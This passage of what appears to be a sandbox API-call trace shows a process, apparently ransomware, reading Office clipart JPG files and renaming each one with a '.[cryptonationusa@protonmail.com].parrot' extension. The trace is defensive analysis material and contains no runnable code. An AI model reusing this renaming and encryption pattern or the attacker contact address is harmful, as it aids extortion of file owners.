lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.791] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17dee, lpOverlapped=0x0) returned 1 [0143.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.801] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17f06, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.801] CloseHandle (hObject=0x288) returned 1 [0143.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.805] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bc1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.806] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.808] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bb02, lpOverlapped=0x0) returned 1 [0143.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.852] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bc1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.852] CloseHandle (hObject=0x288) returned 1 [0143.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.856] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.856] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.858] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.858] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18888, lpOverlapped=0x0) returned 1 [0143.865] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.868] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.868] CloseHandle (hObject=0x288) returned 1 [0143.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.872] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16e20, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.872] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.873] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.874] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.874] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16d08, lpOverlapped=0x0) returned 1 [0143.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.883] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16e20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.883] CloseHandle (hObject=0x288) returned 1 [0143.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.887] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b877, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.887] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.032] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b75f, lpOverlapped=0x0) returned 1 [0144.039] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.042] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b877, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.042] CloseHandle (hObject=0x288) returned 1 [0144.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.047] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x178b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.048] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.049] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1779f, lpOverlapped=0x0) returned 1 [0144.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.059] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x178b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.059] CloseHandle (hObject=0x288) returned 1 [0144.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.062] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15cac, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.063] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.064] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15b94, lpOverlapped=0x0) returned 1 [0144.071] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.072] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15cac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.072] CloseHandle (hObject=0x288) returned 1 [0144.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.076] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19201, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.076] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.076] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.266] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.266] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x190e9, lpOverlapped=0x0) returned 1 [0144.271] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.274] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19201, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.274] CloseHandle (hObject=0x288) returned 1 [0144.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.278] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17c91, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.278] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.280] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17b79, lpOverlapped=0x0) returned 1 [0144.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.290] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17c91, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.290] CloseHandle (hObject=0x288) returned 1 [0144.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.294] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1414b, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.294] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.295] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14033, lpOverlapped=0x0) returned 1 [0144.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.351] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1414b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.351] CloseHandle (hObject=0x288) returned 1 [0144.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.357] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.357] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.358] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd8f6, lpOverlapped=0x0) returned 1 [0144.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.363] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.363] CloseHandle (hObject=0x288) returned 1 [0144.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.367] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11898, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.367] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.369] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11780, lpOverlapped=0x0) returned 1 [0144.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.374] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.374] CloseHandle (hObject=0x288) returned 1 [0144.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.377] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7992, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.377] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.380] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.380] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x787a, lpOverlapped=0x0) returned 1 [0144.383] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.384] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7992, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.384] CloseHandle (hObject=0x288) returned 1 [0144.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.389] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa36, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.389] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.390] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.399] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.409] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa91e, lpOverlapped=0x0) returned 1 [0144.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.413] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa36, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.414] CloseHandle (hObject=0x288) returned 1 [0144.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.418] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c5b, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.418] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.422] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b43, lpOverlapped=0x0) returned 1 [0144.423] 